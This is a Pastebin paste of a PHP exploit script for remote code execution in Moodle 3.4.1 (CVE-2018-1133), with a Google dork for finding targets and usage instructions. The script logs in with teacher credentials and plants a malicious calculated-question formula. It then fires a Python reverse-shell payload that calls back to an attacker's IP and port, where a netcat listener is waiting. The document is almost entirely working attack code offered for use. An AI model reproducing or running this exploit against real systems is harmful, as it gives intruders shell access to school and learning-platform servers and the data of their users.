Advertisement
Guest User

Untitled

a guest
Mar 29th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.91 KB | None | 0 0
  1. <?php
  2. /**
  3. * Exploit Title: Moodle v3.4.1 RCE Exploit
  4. * Google Dork: inurl:"/course/jumpto.php?jump="
  5. * Date: 15 March 2019
  6. * Exploit Author: Darryn Ten
  7. * Vendor Homepage: https://moodle.org
  8. * Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
  9. * Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
  10. * Tested on: Linux with Moodle v3.4.1
  11. * CVE : CVE-2018-1133
  12. *
  13. * This exploit is based on information provided by Robin Peraglie.
  14. * Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
  15. *
  16. * A user with the teacher role is able to execute arbitrary code.
  17. *
  18. * Usage:
  19. *
  20. * > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
  21. *
  22. * user The account username
  23. * pass The password to the account
  24. * ip Callback IP
  25. * port Callback Port
  26. * course Valid course ID belonging to the teacher
  27. *
  28. * Make sure you're running a netcat listener on the specified port before
  29. * executing this script.
  30. *
  31. * > nc -lnvp 1010
  32. *
  33. * This will attempt to open up a reverse shell to the listening IP and port.
  34. *
  35. * You can start the script with `debug=true` to enable debug mode.
  36. */
  37. namespace exploit {
  38. class moodle {
  39. public $ip;
  40. public $port;
  41. public $courseId;
  42.  
  43. public $cookie_jar;
  44. public $url;
  45. public $pass;
  46. public $payload;
  47. public $quizId = false;
  48.  
  49. public $moodleSession = false;
  50. public $moodleKey;
  51.  
  52. // Verification patterns
  53. public $loginSuccessMatch = "/course.view\.php/";
  54. public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./";
  55. public $editSuccessMatch = "/.view.php\?id=2&notifyeditingon=1/";
  56. public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./";
  57. public $quizConfigMatch = "/title.*xxxx.\/title./";
  58. public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/";
  59.  
  60. public $debug;
  61.  
  62. public function __construct($url, $user, $pass, $ip, $port, $course, $debug) {
  63. $this->cookie_jar = tempnam("/tmp","cookie");
  64. $this->url = $url;
  65. $this->pass = $pass;
  66. $this->ip = $ip;
  67. $this->port = $port;
  68. $this->courseId = $course;
  69. $this->debug = $debug;
  70.  
  71. // Inject a reverse shell
  72. // You could modify this payload to inject whatever you like
  73. $this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')";
  74.  
  75. echo("\n\r");
  76. echo("*------------------------------*\n\r");
  77. echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r");
  78. echo("*------------------------------*\n\r");
  79. echo("\n\r");
  80. echo("[!] Make sure you have a listener\n\r");
  81. echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port));
  82. echo("\n\r");
  83.  
  84. $this->login($url, $user, $pass);
  85. $this->loadCourse($this->courseId);
  86. $this->enableEdit();
  87. $this->addQuiz();
  88. $this->editQuiz();
  89. $this->addCalculatedQuestion();
  90. $this->addEvilQuestion();
  91. $this->exploit();
  92. echo "[*] DONE\n\r";
  93. die();
  94. }
  95.  
  96. function login($url, $user, $pass) {
  97. echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass));
  98.  
  99. $data = [
  100. "anchor" => "",
  101. "username" => $user,
  102. "password" => $pass
  103. ];
  104.  
  105. $result = $this->httpPost("/login/index.php", $data);
  106.  
  107. if (!preg_match($this->loginSuccessMatch, $result["body"])) {
  108. echo "[-] LOGIN FAILED!\n\r";
  109. echo "[?] Do you have the right credentials and url?\n\r";
  110. die();
  111. }
  112.  
  113. $matches = [];
  114. $cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches);
  115.  
  116. $this->moodleSession = $matches[1][1];
  117.  
  118. $matches = [];
  119. $key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches);
  120.  
  121. $this->moodleKey = $matches[1][0];
  122.  
  123. echo "[+] Successful Login\n\r";
  124. echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession);
  125. echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey);
  126. }
  127.  
  128. function loadCourse($id) {
  129. echo(sprintf("[*] Loading Course ID %s \n\r", $id));
  130. $result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession);
  131.  
  132. if (!preg_match($this->courseSuccessMatch, $result["body"])) {
  133. echo "[-] LOADING COURSE FAILED!\n\r";
  134. echo "[?] Does the course exist and belong to the teacher?\n\r";
  135. die();
  136. }
  137.  
  138. echo "[+] Successfully Loaded Course\n\r";
  139. }
  140.  
  141. function enableEdit() {
  142. echo(sprintf("[*] Enable Editing\n\r"));
  143. $result = $this->httpGet(sprintf(
  144. "/course/view.php?id=%s&sesskey=%s&edit=on",
  145. $this->courseId,
  146. $this->moodleKey
  147. ), $this->moodleSession);
  148.  
  149. if (!preg_match($this->editSuccessMatch, $result["header"])) {
  150. echo "[-] ENABLE EDITING FAILED!\n\r";
  151. echo "[?] Does the user have the teacher role?\n\r";
  152. die();
  153. }
  154.  
  155. echo "[+] Successfully Enabled Course Editing\n\r";
  156. }
  157.  
  158. function addQuiz() {
  159. echo(sprintf("[*] Adding Quiz\n\r"));
  160.  
  161. $data = [
  162. "course" => $this->courseId,
  163. "sesskey" => $this->moodleKey,
  164. "jump" => urlencode(sprintf(
  165. "/course/mod.php?id=%s&sesskey=%s&str=0&add=quiz&section=0",
  166. $this->courseId,
  167. $this->moodleKey
  168. )),
  169. ];
  170.  
  171. $result = $this->httpPost("/course/jumpto.php", $data, $this->moodleSession);
  172.  
  173. if (!preg_match($this->quizSuccessMatch, $result["body"])) {
  174. echo "[-] ADD QUIZ FAILED!\n\r";
  175. die();
  176. }
  177.  
  178. echo "[+] Successfully Added Quiz\n\r";
  179. echo "[*] Configuring New Quiz\n\r";
  180.  
  181. $submit = [
  182. "grade" => 10,
  183. "boundary_repeats" => 1,
  184. "completionunlocked" => 1,
  185. "course" => $this->courseId,
  186. "coursemodule" => "",
  187. "section" => 0,
  188. "module" => 16,
  189. "modulename" => "quiz",
  190. "instance" => "",
  191. "add" => "quiz",
  192. "update" => 0,
  193. "return" => 0,
  194. "sr" => 0,
  195. "sesskey" => $this->moodleKey,
  196. "_qf__mod_quiz_mod_form" => 1,
  197. "mform_showmore_id_layouthdr" => 0,
  198. "mform_showmore_id_interactionhdr" => 0,
  199. "mform_showmore_id_display" => 0,
  200. "mform_showmore_id_security" => 0,
  201. "mform_isexpanded_id_general" => 1,
  202. "mform_isexpanded_id_timing" => 0,
  203. "mform_isexpanded_id_modstandardgrade" => 0,
  204. "mform_isexpanded_id_layouthdr" => 0,
  205. "mform_isexpanded_id_interactionhdr" => 0,
  206. "mform_isexpanded_id_reviewoptionshdr" => 0,
  207. "mform_isexpanded_id_display" => 0,
  208. "mform_isexpanded_id_security" => 0,
  209. "mform_isexpanded_id_overallfeedbackhdr" => 0,
  210. "mform_isexpanded_id_modstandardelshdr" => 0,
  211. "mform_isexpanded_id_availabilityconditionsheader" => 0,
  212. "mform_isexpanded_id_activitycompletionheader" => 0,
  213. "mform_isexpanded_id_tagshdr" => 0,
  214. "mform_isexpanded_id_competenciessection" => 0,
  215. "name" => "xxxx",
  216. "introeditor[text]" => "<p>xxxx<br></p>",
  217. "introeditor[format]" => 1,
  218. "introeditor[itemid]" => 966459952,
  219. "showdescription" => 0,
  220. "overduehandling" => "autosubmit",
  221. "gradecat" => 1,
  222. "gradepass" => "",
  223. "attempts" => 0,
  224. "grademethod" => 1,
  225. "questionsperpage" => 1,
  226. "navmethod" => "free",
  227. "shuffleanswers" => 1,
  228. "preferredbehaviour" => "deferredfeedback",
  229. "attemptonlast" => 0,
  230. "attemptimmediately" => 1,
  231. "correctnessimmediately" => 1,
  232. "marksimmediately" => 1,
  233. "specificfeedbackimmediately" => 1,
  234. "generalfeedbackimmediately" => 1,
  235. "rightanswerimmediately" => 1,
  236. "overallfeedbackimmediately" => 1,
  237. "attemptopen" => 1,
  238. "correctnessopen" => 1,
  239. "marksopen" => 1,
  240. "specificfeedbackopen" => 1,
  241. "generalfeedbackopen" => 1,
  242. "rightansweropen" => 1,
  243. "overallfeedbackopen" => 1,
  244. "showuserpicture" => 0,
  245. "decimalpoints" => 2,
  246. "questiondecimalpoints" => -1,
  247. "showblocks" => 0,
  248. "quizpassword" => "",
  249. "subnet" => "",
  250. "browsersecurity" => "-",
  251. "feedbacktext[0][text]" => "",
  252. "feedbacktext[0][format]" => 1,
  253. "feedbacktext[0][itemid]" => 754687559,
  254. "feedbackboundaries[0]" => "",
  255. "feedbacktext[1][text]" => "",
  256. "feedbacktext[1][format]" => 1,
  257. "feedbacktext[1][itemid]" => 88204176,
  258. "visible" => 1,
  259. "cmidnumber" => "",
  260. "groupmode" => 0,
  261. "availabilityconditionsjson" => urlencode("{\"op\":\"&\",\"c\":[],\"showc\":[]}"),
  262. "completion" => 1,
  263. "tags" => "_qf__force_multiselect_submission",
  264. "competency_rule" => 0,
  265. "submitbutton" => "Save and display"
  266. ];
  267.  
  268. $result = $this->httpPost("/course/modedit.php", $submit, $this->moodleSession);
  269.  
  270. if (!preg_match($this->quizConfigMatch, $result["body"])) {
  271. echo "[-] CONFIGURE QUIZ FAILED!\n\r";
  272. die();
  273. }
  274.  
  275. $matches = [];
  276. $quiz = preg_match_all("/quiz\/view.php.id=(.*)&forceview=1/", $result["header"], $matches);
  277.  
  278. $this->quizId = $matches[1][0];
  279.  
  280. echo "[+] Successfully Configured Quiz\n\r";
  281. }
  282.  
  283. function editQuiz() {
  284. echo(sprintf("[*] Loading Edit Quiz Page \n\r"));
  285. $result = $this->httpGet(sprintf("/mod/quiz/edit.php?cmid=%s", $this->quizId), $this->moodleSession);
  286.  
  287. if (!preg_match("/.title.Editing quiz: xxxx.\/title/", $result["body"])) {
  288. echo "[-] LOADING EDITING PAGE FAILED!\n\r";
  289. die();
  290. }
  291.  
  292. echo "[+] Successfully Loaded Edit Quiz Page\n\r";
  293. }
  294.  
  295. function addCalculatedQuestion() {
  296. echo(sprintf("[*] Adding Calculated Question \n\r"));
  297.  
  298. $endpoint = "/question/question.php?courseid=".$this->courseId."&sesskey=".$this->moodleKey."&qtype=calculated&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D".$this->quizId."%26addonpage%3D0&cmid=".$this->quizId."&category=2&addonpage=0&appendqnumstring=addquestion'";
  299.  
  300. $result = $this->httpGet($endpoint, $this->moodleSession);
  301.  
  302. if (!preg_match("/title.Editing\ a\ Calculated\ question.\/title/", $result["body"])) {
  303. echo "[-] ADDING CALCULATED QUESTION FAILED!\n\r";
  304. die();
  305. }
  306.  
  307. echo "[+] Successfully Added Calculation Question\n\r";
  308. }
  309.  
  310. function addEvilQuestion() {
  311. echo(sprintf("[*] Adding Evil Question \n\r"));
  312.  
  313. $payload = [
  314. "initialcategory" => 1,
  315. "reload" => 1,
  316. "shuffleanswers" => 1,
  317. "answernumbering" => "abc",
  318. "mform_isexpanded_id_answerhdr" => 1,
  319. "noanswers" => 1,
  320. "nounits" => 1,
  321. "numhints" => 2,
  322. "synchronize" => "",
  323. "wizard" => "datasetdefinitions",
  324. "id" => "",
  325. "inpopup" => 0,
  326. "cmid" => $this->quizId,
  327. "courseid" => 2,
  328. "returnurl" => sprintf("/mod/quiz/edit.php?cmid=%s&addonpage=0", $this->quizId),
  329. "scrollpos" => 0,
  330. "appendqnumstring" => "addquestion",
  331. "qtype" => "calculated",
  332. "makecopy" => 0,
  333. "sesskey" => $this->moodleKey,
  334. "_qf__qtype_calculated_edit_form" => 1,
  335. "mform_isexpanded_id_generalheader" => 1,
  336. "mform_isexpanded_id_unithandling" => 0,
  337. "mform_isexpanded_id_unithdr" => 0,
  338. "mform_isexpanded_id_multitriesheader" => 0,
  339. "mform_isexpanded_id_tagsheader" => 0,
  340. "category" => "2,23",
  341. "name" => "zzzz",
  342. "questiontext[text]" => "<p>zzzz<br></p>",
  343. "questiontext[format]" => 1,
  344. "questiontext[itemid]" => 999787569,
  345. "defaultmark" => 1,
  346. "generalfeedback[text]" => "",
  347. "generalfeedback[format]" => 1,
  348. "generalfeedback[itemid]" => 729029157,
  349. "answer[0]" => ' /*{a*/`$_GET[0]`;//{x}}',
  350. "fraction[0]" => "1.0",
  351. "tolerance[0]" => "0.01",
  352. "tolerancetype[0]" => 1,
  353. "correctanswerlength[0]" => 2,
  354. "correctanswerformat[0]" => 1,
  355. "feedback[0][text]" => "",
  356. "feedback[0][format]" => 1,
  357. "feedback[0][itemid]" => 928615051,
  358. "unitrole" => 3,
  359. "penalty" => "0.3333333",
  360. "hint[0]text]" => "",
  361. "hint[0]format]" => 1,
  362. "hint[0]itemid]" => 236679070,
  363. "hint[1]text]" => "",
  364. "hint[1]format]" => 1,
  365. "hint[1]itemid]" => 272691514,
  366. "tags" => "_qf__force_multiselect_submission",
  367. "submitbutton" => "Save change"
  368. ];
  369.  
  370. $result = $this->httpPost("/question/question.php", $payload, $this->moodleSession);
  371.  
  372. if (!preg_match($this->evilSuccess, $result["body"])) {
  373. echo "[-] EVIL QUESTION CREATION FAILED!\n\r";
  374. die();
  375. }
  376.  
  377. echo "[+] Successfully Created Evil Question\n\r";
  378. }
  379.  
  380. function exploit() {
  381. echo "[*] Sending Exploit\n\r";
  382. echo "\n\r";
  383.  
  384. if ($this->debug) {
  385. echo "[D] Payload: \n\r";
  386. echo sprintf("[>] %s \n\r", $this->payload);
  387. }
  388.  
  389. $exploitUrl = sprintf(
  390. "/question/question.php?returnurl=%s&addonpage=0&appendqnumstring=addquestion&scrollpos=0&id=8&wizardnow=datasetitems&cmid=%s&0=(%s)",
  391. urlencode(sprintf(
  392. "/mod/quiz/edit.php?cmid=%s",
  393. $this->quizId)
  394. ),
  395. $this->quizId,
  396. $this->payload);
  397.  
  398. if ($this->debug) {
  399. echo sprintf("[D] Exploit URL: %s \n\r", $exploitUrl);
  400. }
  401.  
  402. echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port);
  403. echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r");
  404. echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r");
  405. $this->httpGet($exploitUrl, $this->moodleSession);
  406. }
  407.  
  408. function httpPost($url, $data, $session = false, $json = false)
  409. {
  410. if ($this->debug) {
  411. echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url));
  412. echo(sprintf("[D] Session: %s \n\r", $session));
  413. echo(sprintf("[D] Data: %s \n\r", json_encode($data)));
  414. echo("\n\r");
  415. }
  416.  
  417. $curl = curl_init(sprintf("%s%s", $this->url, $url));
  418.  
  419. $headers = [];
  420.  
  421. if ($session) {
  422. array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
  423. }
  424.  
  425. if ($json) {
  426. array_push($headers, "Content-Type: application/json");
  427. } else {
  428. $data = urldecode(http_build_query($data));
  429. }
  430. $proxy = '127.0.0.1:8080';
  431. curl_setopt($curl, CURLOPT_PROXY, $proxy);
  432. curl_setopt($curl, CURLOPT_POST, true);
  433. curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  434. curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  435. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  436. curl_setopt($curl, CURLOPT_HEADER, true);
  437. curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
  438. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  439. $response = curl_exec($curl);
  440.  
  441. $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
  442. $header = substr($response, 0, $header_size);
  443. $body = substr($response, $header_size);
  444.  
  445. if ($this->debug) {
  446. echo "[D] Response Header";
  447. echo sprintf("[>] %s", $header);
  448. echo "";
  449. echo "[D] Response Body";
  450. echo sprintf("[>] %s", $body);
  451. }
  452.  
  453. return [
  454. "header" => $header,
  455. "body" => $body
  456. ];
  457. }
  458.  
  459. function httpGet($route, $session = false)
  460. {
  461. $url = sprintf("%s%s", $this->url, $route);
  462.  
  463. if ($this->debug) {
  464. echo(sprintf("[D] Doing HTTP GET to URL: %s \n\r", $url));
  465. echo("\n\r");
  466. }
  467.  
  468. $headers = [];
  469.  
  470. if ($session) {
  471. array_push($headers, sprintf("Cookie: MoodleSession=%s", $session));
  472. }
  473.  
  474. $curl = curl_init($url);
  475.  
  476. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  477. curl_setopt($curl, CURLOPT_HEADER, true);
  478. curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  479. curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar);
  480. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  481. $response = curl_exec($curl);
  482.  
  483. $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
  484. $header = substr($response, 0, $header_size);
  485. $body = substr($response, $header_size);
  486.  
  487. if ($this->debug) {
  488. echo "[D] Response Header";
  489. echo sprintf("[>] %s", $header);
  490. echo "";
  491. echo "[D] Response Body";
  492. echo sprintf("[>] %s", $body);
  493. }
  494.  
  495. return [
  496. "header" => $header,
  497. "body" => $body
  498. ];
  499. }
  500. }
  501.  
  502. parse_str(implode("&", array_slice($argv, 1)), $_GET);
  503.  
  504. $url = $_GET["url"];
  505. $user = $_GET["user"];
  506. $pass = $_GET["pass"];
  507. $ip = $_GET["ip"];
  508. $port = $_GET["port"];
  509. $course = $_GET["course"];
  510. $debug = isset($_GET["debug"]) ? true : false;
  511.  
  512. new \exploit\moodle($url, $user, $pass, $ip, $port, $course, $debug);
  513. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement